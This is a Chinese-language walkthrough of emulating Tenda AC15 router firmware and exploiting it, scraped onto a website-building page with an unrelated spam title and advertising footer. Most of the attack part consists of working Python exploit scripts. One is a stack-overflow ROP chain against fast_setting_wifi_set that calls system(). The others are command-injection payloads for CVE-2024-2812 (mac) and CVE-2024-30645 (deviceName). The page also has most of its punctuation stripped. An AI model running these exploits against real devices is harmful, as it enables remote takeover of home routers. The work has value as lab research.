vs网站建设弹出窗口代码c城市规划做底图的网站
2026/1/1 16:10:52 网站建设 项目流程
vs网站建设弹出窗口代码c,城市规划做底图的网站,网站建设规划任务书,甘肃网站建设选哪家1、固件模拟sudo chroot . sh /bin/httpd第一个问题#xff0c;监听ip有问题我们需要配置网卡sudo brctl addbr br0sudo ifconfig br0 192.168.100.3这里我们设置br0网卡#xff0c;启动web成功启动#xff0c;这里监听的就是我们设置的ip这里我们可以运行这个脚本#xff…1、固件模拟sudo chroot . sh /bin/httpd第一个问题监听ip有问题我们需要配置网卡sudo brctl addbr br0sudo ifconfig br0 192.168.100.3这里我们设置br0网卡启动web成功启动这里监听的就是我们设置的ip这里我们可以运行这个脚本所需要的文件都在这个路径下我们启动脚本这样就直接启动了一个arm的虚拟机下一步ip link add br0 type dummy ifconfig eth0 192.168.100.5/24 ifconfig br0 192.168.100.6/24我们给他添加网卡br0和eth0我们ssh连接一下然后启动一下httpd服务记录一下PID2417驱动gdbserver远程gdb调试./gdbsever :1234 -attach 2417 /tmp/gdbserver)arm 192.168.0.2:1337 --attach 2417经过了千辛万苦终于连接到了pwngdb,我们接下来查看漏洞点from pwn import * readable_addr 0x76dab000 0x64144 jump_addr 0x56A9C payload ba*(0x7c) p32(jump_addr) url http://192.168.100.3/goform/fast_setting_wifi_set cookie {Cookie:passwordrsvcvb} data {ssid: payload} response requests.post(url, cookiescookie, datadata) response requests.post(url, cookiescookie, datadata)exp再次分析漏洞原理首先我们从PUSH {R4,R5,R11,LR}开栈开始入手这里先假设sp初始值为0x1000 我们按照从右往左的顺序入栈 //SUB SP,SP,#0X270 0x270 -sp //ADD R11,sp,#0xc 0xff0 R4 -sp现在位置 0xff4 R5 0xff8 R11 0xffc LR 0x1000 旧sp 所以我们第一个ADD操作就是R40xc也就是0xffc位置也就是保存到我们LR返回地址 接着就是开栈为局部变量分配内存空间IDA移动到该函数上面可知s值为-0x7c,src值为-0x1c所以上图的SUB R2,R11,#-s操作就是SUB R2R11-0X7c同样的LDR R3[R11,#src]等价于LDR R3,[R11-0X1C]关键在于payload构造我们需要将函数返回地址覆盖即将栈帧图中LR的数据覆盖掉的话我们的payload给构造形式:payload ba*(0x7c) p32(跳转地址)但是这里因为src指针被覆盖掉指向的内存出现问题会导致异常所以我们拆分构造payload即可ba*(0x6c) p32(可正常访问地址不超过64字节) bb*(0x1c-4) p32(目标跳转地址)我们输入这个脚本程序崩了我们payload ba* (0x60) p32(readable_addr) bb*(0x20-8)所以因为strcpy在遇到x00时会截断所以这个readable_addr需要在libc库里找因为这个库加载顺序比较靠前所以他的程序基址会比较大从而可读字符串的地址也会比较大这样覆盖payload就不会因为地址里面有00被截断我们在libc.so.0中的0x64144找到一个字符串HOME我们用gdb调试的过程中用vmmap查看libc.so.0的基地址我们基地址也找到了0x76e10000,所以readable_addr地址就是0x76e100000x64144再再再次构造expimport requests from pwn import * libc_base 0x76d7e000 readable_addr libc_base 0x64144 jump_addr 0x56A9C payload ba*(0x60) p32(readable_addr) bb*(0x20-8) p32(jump_addr) url http://192.168.0.3/goform/fast_setting_wifi_set cookie {Cookie:password12345} data {ssid: payload} response requests.post(url, cookiescookie, datadata) response requests.post(url, cookiescookie, datadata)这里我们的一些环境版有问题修改脚本看下是否跳转到我们设置的地址我们接着往下走看到了此时R2存储内容这里看到了是我们存入的函数入口然后再把函数R11压入栈。确实跳转了但是他跳转到了我们(readable_addr)函数位置并且出不去了这次我们重新尝试一遍我们设置以下断点来查看程序进展到了这里就无法继续下去了这里就是向R1也就是0x766e74144地址读取字符串就是我们中间想填充的我们重新找下地址这里是第一个strcpy我们能看到R2已经存了我们的exp填入的值了那我们就看pop能不能到我们的新的地址了接着往第二个strcpy走这是我们填充的值就是字符串HOME接着这就是第二个strcpy函数我们关注pop能不能到我们设定的函数地址去跳转成功了接下来我们构造ROP链我们找libc.so.0这里的库有没有要用的指令段找下ROP链我们跳转的push {fp,lr}只有一个可控的我们需要调用system,而system所需参数是一个字符串即一个char*类型的指针(R0)我们想办法去找类似于MOV rEGISTER,sp的操作最好接着直接跳到我们目标地址然后再去构造将寄存器参数交给R0最后调用system即可成达到RCE根据上面的想法还需要注意的一点是MOV Register,sp之后如果像直接跳转到某个地址不能说POP pc这种因为他是栈上取数据的而上面需要构造的MOV Regsiter,sp既要从栈上获取字符串又要让栈上有跳转地址这种方案肯定不可取。那么跳转指令只能考虑BLX Register这种操作根据上面思路检索这里我们选取0x00049c64这个地址这里以我自己的话来讲就是我们希望通过栈溢出和ROP来指向一个系统命令。比如system()函数用来执行我们控制的命令这里还有这样一段代码就是把p如何实现:1、栈溢出通过输入大量数据覆盖栈上的返回地址2、ROP链利用溢出的数据构造一个ROP链让程序跳转到我们指定的地址并执行目标函数关键步骤:1、通过mov r0,sp设置r0将栈指针sp的值(栈上的数据)加载到r0寄存器中system()函数需要的参数是一个指向命令字符串的指针(即char*),我们将命令字符串放在栈上r0就指向这个字符串2、通过blx r3跳转到system()我们需要将r3寄存器设置为system()函数地址blx r3会跳转到r3指向的地址并执行代码3、找到合适的指令我们可以使用类似于pop {r3,pc}指令就可以从栈上提取出system()函数的地址并跳转执行最后的ROP链构造system()地址的指令执行system()通过mov,sp; blx r3;将栈指针存放命令的字符串然后跳转到system(),执行指令总结:MOV r0,sp将栈上的命令字符串地址传给system()函数BLX r3跳转到r3寄存器存储的地址(system())ROP链通过站上的溢出数据来控制程序的执行最终让程序执行我们想要的命令1、逻辑串联起来就是选择pop {r3,lr}这里的作用是给R3赋值然后lr存储跳转地址。R3(例如system()地址)LR会被设置为下一关跳转点我们控制链的下一个地址2、为了执行命令我们需要将命令的字符串地址放入R0设置R0为命令我们需要将命令字符串地址放入R0寄存器中因为在ARM中R0是系统调用(如system的第一个参数)通过栈溢出我们可以控制R0寄存器将其设置为栈上存储的命令字符串地址ROP构造假设我们执行/bin/shpop{r3,lr}pop {r3, lr}R3存储system()的地址。LR存储mov r0, sp; blx r3的地址。mov r0, sp栈上有命令/bin/shsp指向它r0通过这条指令将其传递给system()。blx r3执行system()并执行/bin/sh。第一个地址选取pop链地址ROPgadget --binary libc.so.0 --only pop 0x00018298 : pop {r3, pc} //pop地址第二个地址接着来找我们的几个地址我们要找system()函数地址0x0005A270 //system()地址第三个地址就是我们要构造命令执行的地址也就是MOV R0,SP;BLX R3地址这里我们查找需要使用ROPgadget工具然后再筛选ROPgadget --binary libc.so.0 | grep mov r0, sp我们需要自己去查找就这样去找MOV R0,SP的地址我们记录下来0x00049C64 //MOV R0,SP地址ok我们的偏移量都找全了接下来就是构造payload了import requests from pwn import * target_ip 192.168.100.6 //目标ip target_port 1234 //开放端口 libc_base 0x76dab000 //libc库基地址 readable_addr libc_base 0x64144 #string HOME //我们在libc库中填充字符串的地址 system_offset 0x0005A270 //system的偏移以libc为基地址 mov_r0_sp__blx_r3__offset 0x00049C64 //mov_r0_sp__blx_r3__offset偏移 pop_r3_pc_offset 0x00018298 //r3,pc偏移pop偏移地址 cat bpsproc_info.txt //cmd执行的命令 payload ba * (0x60) p32(readable_addr) bb * (0x1c-4) payload p32(libc_base pop_r3_pc_offset) payload p32(libc_base system_offset) payload p32(libc_base mov_r0_sp__blx_r3__offset) cmd url fhttp://{target_ip}/goform/fast_setting_wifi_set cookie {cookie: passwordqpacvb} data {ssid: payload} response requests.post(url, cookiescookie, datadata) response requests.post(url, cookiescookie, datadata)这里我们创建一个proc_info.txt的文件然后执行脚本import requests from pwn import * target_ip 192.168.100.6 target_port 80 libc_base 0x76dab000 readable_addr libc_base 0x64144 #string HOME system_offset 0x0005A270 mov_r0_sp__blx_r3__offset 0x00049C64 pop_r3_pc_offset 0x00018298 cmd bps/tmp/proc_info.txt payload ba * (0x60) p32(readable_addr) bb * (0x1c-4) payload p32(libc_base pop_r3_pc_offset) payload p32(libc_base system_offset) payload p32(libc_base mov_r0_sp__blx_r3__offset) cmd url fhttp://{target_ip}/goform/fast_setting_wifi_set cookie {cookie: passwordbem5gk} data {ssid: payload} response requests.post(url, cookiescookie, datadata) response requests.post(url, cookiescookie, datadata)执行完看看结果。结果是这样注入点所在位置一定要注意到这个ssid就是我们要注入的参数也能看到我们的src是经过sub_2BA8C函数处理过的2、CVE-2024-2812我们先看漏洞描述尝试自己找一下漏洞点漏洞描述Tenda AC15 15.03.05.18/15.03.20_multi 中发现漏洞。它已被归类为关键。 这会影响文件 /goform/WriteFacMac 的函数 formWriteFacMac。 对参数 mac 的操作会导致操作系统命令注入。可以远程发起攻击。会影响文件/goform/WriteFacMac的函数formwriteFacMac我们定位一下函数成功定位到该函数里面有一个参数a1,然后一个指针v3,我们过一遍逻辑sub_2BA8C(a1, mac, 00:01:02:11:22:33) web表单参数获取函数从HTTP请求中找mac参数如果用户没有提交该参数用默认值就是第三个参数 doSystemCmd(cfm mac %s, v3); cfm是路由器常用后台命令工具cmf mac 00:xx:xx....会把设备出场的MAC地址直接改写这个操作是永久性的 这个后门函数就是不需要密码任意修改设备出产MAC包括命令执行漏洞点应该在于没过滤就直接拼接了字符串然后执行doSystemCmd了其实这里就可以当作一个注入漏洞来做了拼接一下doSystemCmd(cfm mac %s, v3); doSystemCmd(cfm mac ;echo 1 /tmp/proc.txt);其实我们控制的是v3,把v3改成我们要拼接的命令即可我们在这个函数入口下一个断点pop位置也下一个断点、我们再使用pwngbd连接一下然后打一下expimport requests from pwn import* ip 192.168.100.6 url http:// ip /goform/WriteFacMac payload ;echo 1 proc.txt data {mac: payload} cookie {cookie: passwordbem5gk} response requests.post(url, cookiescookie,datadata) print(response.text)第二个也成功了我们要确定参数一定要看函数使用方法这个CVE的参数就在函数的使用方法中这个就是我们要注入的参数第三个CVE-2024-30645我们要找注入点要看参数这里的参数就是deviceName我们构造expimport requests from pwn import* target_ip 192.168.100.6 url http:// target_ip /goform/setUsbUnload payload ;echo 888 ./webroot/666.txt data {deviceName: payload} cookie {cookie: passwordzzf5gk} requests.post(url,cookiescookie,datadata) requests.post(url,cookiescookie,datadata) confir_url fhttp:// target_ip /666.txt r requests.get(confir_url) print(r.text)构造exp的时候有些细节要注意我们这个文件路径是/goform/setUsbUnload然后我们的注入点是deviceNamecookie要换成自己的即可import requests from pwn import * target_ip 192.168.100.6 url http:// target_ip /goform/setUsbUnload payload ;echo 123 ./webroot/nb666.txt data {deviceName:payload} cookie {cookie: passwordzzf5gk} requests.post(url,cookiescookie,datadata) requests.post(url,cookiescookie,datadata) confir_url http:// target_ip /nb666.txt r requests.get(confir_url) print(r.text)成功

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询